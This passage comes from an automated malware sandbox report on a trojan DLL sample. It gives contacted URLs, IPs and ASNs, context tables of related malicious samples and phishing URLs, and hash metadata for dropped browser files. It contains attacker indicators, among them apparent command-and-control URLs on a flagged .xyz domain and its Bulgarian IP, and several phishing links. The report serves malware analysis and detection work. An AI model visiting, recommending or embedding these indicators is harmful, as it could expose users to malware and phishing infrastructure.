http://taybhctdyehfhgthp2.xyz/jdraw/2dmHXVLFpoxZkp/lRnXRf4rg4uMzmmWxeqRM/HUrKxMJE8mnsaP3a/BSrsCvSsG_	~DF41C6F94D5CD15673.TMP.4.dr, {855EF56B-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	false	Avira URL Cloud: safe	unknown
http://taybhctdyehfhgthp2.xyz/jdraw/_2F4Q_2FnvV/BpomczM_2B2Jkp/FRSRsBJeoQn3RBrurQkGr/rDwzJqou7P_2BXV	{855EF567-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	false	Avira URL Cloud: safe	unknown
https://onedrive.live.com;OneDrive-App	52-478955-68ddb2ab[1].js.6.dr	false	Avira URL Cloud: safe	low
https://click.linksynergy.com/deeplink?id=xoqYgl4JDe8&mid=46130&u1=dech_mestripe_office&	de-ch[1].htm.6.dr	false		high
https://contoso.com/License	powershell.exe, 00000021.00000002.499970967.000001E9ABB99000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://taybhctdyehfhgthp2.xyz/jdraw/tR4LnoSVINT1f2c/0VvJfJtFJ0fvpQScRR/CPWVnO7Ig/8xymBr8_2BV2MPJj4Wb	{7E89C2AC-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	false	Avira URL Cloud: safe	unknown
https://clkde.tradedoubler.com/click?p=295926&a=3064090&g=24886692	de-ch[1].htm.6.dr	false		high
https://outlook.office365.com/jdraw/YV9_2BRIFh2A/q7dpbh5Wtee/h9DRSfahzOVkbw/8nj9JvAX9J0uIFu5B3_2B/oU	{61C46D27-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	false		high
http://taybhctdyehfhgthp2.xyz/jdraw/6egkLxw_2B/0MDk_2F6Dttk_2BDL/PeMCvV_2FKSI/4qVuvEJzX6I/FapijqFJTF	{7E89C2B0-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	false	Avira URL Cloud: safe	unknown
https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location	55a804ab-e5c6-4b97-9319-86263d365d28[1].json.6.dr	false		high
http://www.amazon.com/	msapplication.xml.4.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
195.20.250.115	plusmailcom.ha-cdn.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
45.90.58.179	taybhctdyehfhgthp2.xyz	Bulgaria	204957	GREENFLOID-ASUA	true
142.250.180.206	www.googleoptimize.com	United States	15169	GOOGLEUS	false
82.165.229.87	mail.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
40.97.148.226	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.97.170.34	FRA-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.98.152.178	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.101.137.34	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.1.44	tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
82.165.229.16	wa.mail.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
104.20.185.68	geolocation.onetrust.com	United States	13335	CLOUDFLARENETUS	false
82.165.229.59	www.mail.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
52.98.175.18	HHN-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
82.165.229.54	wa.ui-portal.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
52.98.175.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.97.116.82	outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.101.136.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	444656
Start date:	06.07.2021
Start time:	14:28:47
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	2770174.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@46/226@59/18
EGA Information:	Failed
HDC Information:	Successful, ratio: 79.9% (good quality ratio 76.1%) Quality average: 79.7% Quality standard deviation: 28.6%
HCA Information:	Successful, ratio: 94% Number of executed functions: 157 Number of non-executed functions: 109
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, ielowutil.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe Excluded IPs from analysis (whitelisted): 13.88.21.125, 204.79.197.200, 13.107.21.200, 93.184.220.29, 52.255.188.83, 23.203.80.193, 131.253.33.203, 80.67.82.209, 80.67.82.240, 65.55.44.109, 23.211.6.95, 168.61.161.212, 23.211.4.86, 152.199.19.161, 23.211.5.43, 142.250.180.232, 142.250.186.104, 205.185.216.42, 205.185.216.10 Excluded domains from analysis (whitelisted): cs9.wac.phicdn.net, a-0003.dc-msedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e11290.dspg.akamaiedge.net, iecvlist.microsoft.com, go.microsoft.com, ocsp.digicert.com, e5416.g.akamaiedge.net, www.googletagmanager.com, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, ie9comview.vo.msecnd.net, www-googletagmanager.l.google.com, cvision.media.net.edgekey.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, img.ui-portal.de.edgekey.net, ctldl.windowsupdate.com, www-msn-com.a-0003.a-msedge.net, cds.d2s7q6s2.hwcdn.net, a1999.dscg2.akamai.net, cdp.geotrust.com, web.vortex.data.trafficmanager.net, e607.d.akamaiedge.net, web.vortex.data.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, icePrime.a-0003.dc-msedge.net, blobcollector.events.data.trafficmanager.net, go.microsoft.com.edgekey.net, s.uicdn.com.edgekey.net, dl.mail.com.edgekey.net, static-global-s-msn-com.akamaized.net, crl3.digicert.com, skypedataprdcolwus15.cloudapp.net, cs9.wpc.v0cdn.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:29:53	API Interceptor	2x Sleep call for process: rundll32.exe modified
14:31:39	API Interceptor	21x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
82.165.229.87	2ff0174.dll	Get hash	malicious	Browse
40.97.148.226	60b49bdd63509.dll	Get hash	malicious	Browse
	.exe	Get hash	malicious	Browse
	23documen.exe	Get hash	malicious	Browse
	3ATTACHMEN.exe	Get hash	malicious	Browse
	21documen.exe	Get hash	malicious	Browse
	20mai.exe	Get hash	malicious	Browse
	1DOCUMEN.exe	Get hash	malicious	Browse
	25messag.exe	Get hash	malicious	Browse
	.exe	Get hash	malicious	Browse
52.97.170.34	PURCHASE ORDER#34556558.exe	Get hash	malicious	Browse
	Proforma Invoice.exe	Get hash	malicious	Browse
	p8LV1eVFyO.exe	Get hash	malicious	Browse
	https://ablethings4.z20.web.core.windows.net/#lalala@lala.com	Get hash	malicious	Browse
	https://abilops66.z19.web.core.windows.net/	Get hash	malicious	Browse
	https://shootingesf.ir/reqok/	Get hash	malicious	Browse
	ze99HWZnJK.exe	Get hash	malicious	Browse
	https://nam01.safelinks.protection.outlook.com/?url=https://www.offic-ics-363.com/O/?email=byron.jin@milliken.com*!&data=02\|01\|byron.jin@milliken.com\|3c316bb5f6944e00139208d71950d0d5\|326271270bbf472d9e35b0b67edbc59a\|1\|1\|637005707206546563&sdata=IjgGbbJNs9U6dpWTcLFlLbwmCEMDLxfmwm34/dx3lSs=&reserved=0	Get hash	malicious	Browse
	https://snhu.us20.list-manage.com/track/click?u=cfcd6953e02ce156291324b8a&id=b76470d85e&e=1bbee7252d	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
wa.ui-portal.de	2ff0174.dll	Get hash	malicious	Browse	82.165.229.54
wa.ui-portal.de	https://deref-mail.com/mail/client/QUue7ijDGeE/dereferrer/?redirectUrl=https%3A%2F%2Fadmin.microsoft.com%2Fadminportal%2Fhome%3Fref%3DMessageCenter%3FshowPref%3D1	Get hash	malicious	Browse	82.165.229.54
www.mail.com	2ff0174.dll	Get hash	malicious	Browse	82.165.229.59
www.mail.com	https://deref-mail.com/mail/client/QUue7ijDGeE/dereferrer/?redirectUrl=https%3A%2F%2Fadmin.microsoft.com%2Fadminportal%2Fhome%3Fref%3DMessageCenter%3FshowPref%3D1	Get hash	malicious	Browse	82.165.229.59
tls13.taboola.map.fastly.net	q7p7x4f4gX.dll	Get hash	malicious	Browse	151.101.1.44
	q7p7x4f4gX.dll	Get hash	malicious	Browse	151.101.1.44
	3rc4z6ltNu.dll	Get hash	malicious	Browse	151.101.1.44
	f6718e02bc73edf5aab341fa0a7f75782bc72f7dd1a6e.dll	Get hash	malicious	Browse	151.101.1.44
	6us663UjcE.dll	Get hash	malicious	Browse	151.101.1.44
	6us663UjcE.dll	Get hash	malicious	Browse	151.101.1.44
	xbK9XyU4LW.dll	Get hash	malicious	Browse	151.101.1.44
	xbK9XyU4LW.dll	Get hash	malicious	Browse	151.101.1.44
	juON02msHS.dll	Get hash	malicious	Browse	151.101.1.44
	juON02msHS.dll	Get hash	malicious	Browse	151.101.1.44
	r5wdbvxLE4.dll	Get hash	malicious	Browse	151.101.1.44
	pvvCaP2Nma.dll	Get hash	malicious	Browse	151.101.1.44
	IsNv5L683X.dll	Get hash	malicious	Browse	151.101.1.44
	r5wdbvxLE4.dll	Get hash	malicious	Browse	151.101.1.44
	IsNv5L683X.dll	Get hash	malicious	Browse	151.101.1.44
	pvvCaP2Nma.dll	Get hash	malicious	Browse	151.101.1.44
	SoMuAF6xvf.dll	Get hash	malicious	Browse	151.101.1.44
	SoMuAF6xvf.dll	Get hash	malicious	Browse	151.101.1.44
	52470XObuZ.dll	Get hash	malicious	Browse	151.101.1.44
	9XLiTBw5RO.dll	Get hash	malicious	Browse	151.101.1.44
HHN-efz.ms-acdc.office.com	60e40fb428612.dll	Get hash	malicious	Browse	52.97.201.18
	zHUScMPOlZ.dll	Get hash	malicious	Browse	40.101.136.242
	SwiftDocument.HTML	Get hash	malicious	Browse	40.101.136.18
	Xerox scan.html	Get hash	malicious	Browse	52.98.151.226
	r.dll	Get hash	malicious	Browse	40.101.137.2
	a9FUs89dWy.dll	Get hash	malicious	Browse	52.98.171.226
	60b49bdd63509.dll	Get hash	malicious	Browse	40.101.137.50
	nT5pUwoJSS.dll	Get hash	malicious	Browse	52.97.201.34
	nT5pUwoJSS.dll	Get hash	malicious	Browse	52.97.233.66
	kZcCqvNtWa.dll	Get hash	malicious	Browse	52.98.171.226
	A5uTdwOwJ1.dll	Get hash	malicious	Browse	40.101.138.210
	FuiZSHt8Hx.dll	Get hash	malicious	Browse	52.98.151.242
	609a460e94791.tiff.dll	Get hash	malicious	Browse	52.97.201.34
	iJdlvBxhYu.dll	Get hash	malicious	Browse	52.97.150.2
	8OKQ6ogGRx.dll	Get hash	malicious	Browse	40.101.138.2
	609110f2d14a6.dll	Get hash	malicious	Browse	40.101.137.34
	New%20order%20contract.html	Get hash	malicious	Browse	52.98.175.2

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GREENFLOID-ASUA	o7w2HSi17V.exe	Get hash	malicious	Browse	195.123.239.194
	SecuriteInfo.com.BackDoor.Rat.281.18292.exe	Get hash	malicious	Browse	195.123.237.148
	cancel_sub_VCP1234567890123.xlsb	Get hash	malicious	Browse	195.123.235.51
	cancel_sub_VCP1234567890123.xlsb	Get hash	malicious	Browse	195.123.235.51
	cancel_sub_VCP1234567890123.xlsb	Get hash	malicious	Browse	195.123.235.51
	gFXQS9OTMt.exe	Get hash	malicious	Browse	195.123.233.175
	2ff0174.dll	Get hash	malicious	Browse	82.118.22.204
	B21B.ps1	Get hash	malicious	Browse	195.123.243.169
	XPj18TpTO3.exe	Get hash	malicious	Browse	195.123.235.25
	41065596157-04232021.xlsm	Get hash	malicious	Browse	195.123.247.118
	41065596157-04232021.xlsm	Get hash	malicious	Browse	195.123.247.118
	41065596157-04232021.xlsm	Get hash	malicious	Browse	195.123.247.118
	Funds_Withdrawal_1076573799_05252021.xlsm	Get hash	malicious	Browse	45.90.58.90
	Funds_Withdrawal_1076573799_05252021.xlsm	Get hash	malicious	Browse	45.90.58.90
	SKMBT41085NC9.exe	Get hash	malicious	Browse	91.90.195.19
	4e94899b_by_Libranalysis.xlsx	Get hash	malicious	Browse	45.90.58.90
	cc859408_by_Libranalysis.xlsx	Get hash	malicious	Browse	45.90.57.62
	4e94899b_by_Libranalysis.xlsx	Get hash	malicious	Browse	45.90.58.90
	cc859408_by_Libranalysis.xlsx	Get hash	malicious	Browse	45.90.57.62
	fba41411_by_Libranalysis.xlsx	Get hash	malicious	Browse	45.90.58.90
ONEANDONE-ASBrauerstrasse48DE	PO_0187.eml.exe	Get hash	malicious	Browse	217.160.0.47
	Rq0Y7HegCd.exe	Get hash	malicious	Browse	217.160.0.254
	PO_0187.exe	Get hash	malicious	Browse	217.160.0.101
	i	Get hash	malicious	Browse	87.106.201.67
	Ordine 6809 020621.exe	Get hash	malicious	Browse	74.208.236.193
	Payment_Breakdown_pdf.exe	Get hash	malicious	Browse	217.160.0.245
	itachi Terminal Solutions Korea #Ubc1c#Uc8fc#Uc11c nf 21-0649 (#Ud68c#Uc2e0#Uc694#Ub9dd).exe	Get hash	malicious	Browse	217.160.233.139
	WO 2308349.xlsb	Get hash	malicious	Browse	74.208.236.234
	WO 2308349.xlsb	Get hash	malicious	Browse	74.208.236.234
	4dvYb6Nq3y.exe	Get hash	malicious	Browse	217.160.0.194
	puuXkjM8wR.exe	Get hash	malicious	Browse	82.165.229.54
	Invoice confirmation & NEW PO for 2 sets of items.exe	Get hash	malicious	Browse	217.160.0.136
	payment_copy.exe	Get hash	malicious	Browse	217.160.0.252
	ACSjyx6D3s.msi	Get hash	malicious	Browse	217.160.0.100
	W5kmdhQmSZ.exe	Get hash	malicious	Browse	217.160.0.62
	PO NEW ORDER 002001123.exe	Get hash	malicious	Browse	217.160.0.190
	N0vpYgIYpv.exe	Get hash	malicious	Browse	217.160.0.236
	droxoUY6SU.exe	Get hash	malicious	Browse	217.160.0.200
	Order.exe	Get hash	malicious	Browse	74.208.236.29
	Ejima.exe	Get hash	malicious	Browse	217.160.0.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
9e10692f1b7f78228b2d4e424db3a98c	q7p7x4f4gX.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	q7p7x4f4gX.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	PO # 2367.html	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	( 1 ) Voice note-Dassault-aviation.htm	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	mJSDCeNxFi.exe	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	3rc4z6ltNu.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	3rc4z6ltNu.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	iew852qEQI.exe	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	6us663UjcE.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	6us663UjcE.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	xbK9XyU4LW.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	xbK9XyU4LW.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	juON02msHS.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	juON02msHS.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	HCqVspxrwz.exe	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	r5wdbvxLE4.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	pvvCaP2Nma.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	IsNv5L683X.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	XecEMJQdUx.exe	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44
	r5wdbvxLE4.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 104.20.185.68 82.165.229.59 142.250.180.206 82.165.229.87 82.165.229.54 151.101.1.44

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\8P7RGF10\dl.mail[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	275
Entropy (8bit):	4.38938228870228
Encrypted:	false
SSDEEP:	6:JFK1rFK1rFK1rUFCYJqqwDYTR3heTPw1rFK1rUFCYJqqwDYTR3heTPw1rFKb:JsrsrsrU0s7u23hkQrsrU0s7u23hkQrS
MD5:	9F17FB9CE6B410905DC89019118C355C
SHA1:	2B3FB261B25F8048E270F116D41E2621E2ECC81E
SHA-256:	121D48B48ABFC531E15F49C42B2E9AB326511E5829467EB8B3DF9197E82B4273
SHA-512:	74626431E6790669A79294AA14B5BE2DEFF46E0356E504B025FB7D53C3F3B2E010FCFC050AA0FAB96F5925D24CCAFAB0E9162A22680301707317E2F549BB8C09
Malicious:	false
Preview:	<root></root><root></root><root></root><root><item name="__storage_test__" value="__storage_test__" ltime="880435056" htime="30896814" /></root><root></root><root><item name="__storage_test__" value="__storage_test__" ltime="880435056" htime="30896814" /></root><root></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\DURNCK2N\www.msn[2].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aKb:JFKb
MD5:	C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
SHA1:	35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
SHA-256:	B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
SHA-512:	6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
Malicious:	false
Preview:	<root></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\QALADACS\contextual.media[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	3486
Entropy (8bit):	4.887463014954515
Encrypted:	false
SSDEEP:	96:l++T+ppTppgpQSQQQQQSQQOxgGQOHgGQOHgzQOHgzQOHgzQOHgzIQOHgzN:rJJuuuTB
MD5:	29A9DDA6DDF4BF071FDA1E8EDD9639F3
SHA1:	C2CD49D555FA4FAFA44BB3F8D894C950C0B60756
SHA-256:	8C1527F69C6A097D27CB3765BD72CE6135DB948D7BC3CF07BDB7D85014D205E7
SHA-512:	82E93CA2987B0CFDC8D8D066E03A993EFE91D3245C8A5355A1AEB5D723FE731025C46129B00722CB73A786910C9F8DE313DC86C06020CF1441A7F2F7BF3CE0E5
Malicious:	false
Preview:	<root></root><root><item name="HBCM_BIDS" value="{}" ltime="165155056" htime="30896814" /></root><root><item name="HBCM_BIDS" value="{}" ltime="165155056" htime="30896814" /></root><root><item name="HBCM_BIDS" value="{}" ltime="165155056" htime="30896814" /><item name="mntest" value="mntest" ltime="165655056" htime="30896814" /></root><root><item name="HBCM_BIDS" value="{}" ltime="165155056" htime="30896814" /></root><root><item name="HBCM_BIDS" value="{}" ltime="165655056" htime="30896814" /></root><root><item name="HBCM_BIDS" value="{}" ltime="165655056" htime="30896814" /><item name="mntest" value="mntest" ltime="165655056" htime="30896814" /></root><root><item name="HBCM_BIDS" value="{}" ltime="165655056" htime="30896814" /></root><root><item name="HBCM_BIDS" value="{}" ltime="165655056" htime="30896814" /><item name="mntest" value="mntest" ltime="168655056" htime="30896814" /></root><root><item name="HBCM_BIDS" value="{}" ltime="165655056" htime="30896814" /></root><root><item nam

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\QALADACS\www.mail[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aK1r0aKb:JFK1rFKb
MD5:	132294CA22370B52822C17DCB5BE3AF6
SHA1:	DD26B82638AD38AD471F7621A9EB79FED448A71C
SHA-256:	451ABBE0AEFC000F49967DABF8D42344D146429F03C8C8D4AE5E33FF9963CF77
SHA-512:	6D5808CAD199A785C82763C68F0AE1F4938C304B46B70529EA26B3D300EF9430AD496C688D95D01588576B3A577001D62245D98137FD5CD825AD62E17D36F15C
Malicious:	false
Preview:	<root></root><root></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{44121266-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	464152
Entropy (8bit):	2.6648765512719557
Encrypted:	false
SSDEEP:	384:rHu0cb+FtbzqbyQxPBGzQWNdYGxXMGXl5s/AbMUMMe6MJHP3+1Z0QmrAWJKR5+9M:PHqTc5
MD5:	D397AA680A03974A706E19938F15C4A3
SHA1:	86F9B5B80094C23AB67C34A4EE467962117B4E38
SHA-256:	F137CD43EF393F28F21B7663EBF32A60ADFAF4EF9B4CA87AF48971F7FFA43DD4
SHA-512:	D8961E0145E531C935575CDA40CCEEF033636E7EE9885A04CA4CC627ED44D27E20442AA8FCD586DCE1F35B5ECB8B5A5CA94118E919BBF0D1FCDC80399BAD443E
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{44121268-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	198790
Entropy (8bit):	3.581277103179767
Encrypted:	false
SSDEEP:	3072:iZ/2Bfcdmu5kgTzGtoZ/2Bfc+mu5kgTzGtU:b/5
MD5:	8BDD04C0AAA1906679DB0BA5F167BB72
SHA1:	C2B30033D5F5A994FAF7CD3251D9134ADF6CC76E
SHA-256:	CBD3FC4FB8147FF3B687D02390789074727D2E546F15A08EA1ECC4E803E6AD29
SHA-512:	8BF316847C5C1118CE0A29DE2467C81036ED16FD350A9486D559B831F13C48EE81EB19C4BEEBD14F54414C072CF09D72AB7D36D6775662596CA72C42B3DA82F3
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{44121269-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	19032
Entropy (8bit):	1.5844069663646243
Encrypted:	false
SSDEEP:	48:IwMGcprtGwpaO1G4pQ4nGrapbSD4hGQpKBG7HpRDiTGIpX2QGApm:rQZ3QOn647BSD4bAwTD2Frg
MD5:	F8099EE409EB7AEDE3D944BAA8AC405D
SHA1:	8D0C8D49C0AA25C4CD0C9ADC63F781C37418862B
SHA-256:	AD83CE0358F95958604C1EA704E9604352A33AACEE0477558EE5C1F114D27D50
SHA-512:	46A7E7AE385943A884294B5D67A62AA9717DEED2D370CA48B39A0DDC87217C5131A9E114906958239AC2344AEF51462A0EF4773A758803CA2F249B258E70E185
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{61C46D25-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27376
Entropy (8bit):	1.847769341507334
Encrypted:	false
SSDEEP:	192:rrZcQQ6akhjF32F7WF5MFN63c7rFx3c7r7TA:r917z9FGFSFCFg3yv3y3k
MD5:	473AD9D3FB2D6BC843D8747E70A3C0E3
SHA1:	40253B1F1320AF1B61775D52BA29C8C779A9CDF7
SHA-256:	FEF14EDD0AEFD2F41B032C8E54F5403896EA12467C94ED38D63178FCA2CC5291
SHA-512:	5FD92A4747B4359F436F0369E3A422EFCD00BDA1BE54D14D6AEA58503AF3316DC2A921BAA80E99F3DF145BE7CB9F2EB439DA7082AE0C43CA5304A34E6A641552
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{61C46D27-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27380
Entropy (8bit):	1.8472289341930335
Encrypted:	false
SSDEEP:	96:ruZlQ963BSujF29WPM3WHkRXCVxHkRXCjA:ruZlQ963kujF29WPM3WHkhCVxHkhCjA
MD5:	7038EC223050EE42092F2561CB2543B9
SHA1:	F8DB82C4604717F286129281B2AF92BD40AB802F
SHA-256:	B966D1268B95A640B2B9152AD46AC0A78AD9A521CC50D18069B54E6068394209
SHA-512:	A21433E566D40B2A3E7EA9DC33B72519B44B22BAC279079BE38D26C06F6A0956FBC94C3C09479D1D3524522D2866C548D033085414DA1ABF70BB61D1B96D5649
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{61C46D29-DEA1-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27372
Entropy (8bit):	1.8462767960124908
Encrypted:	false
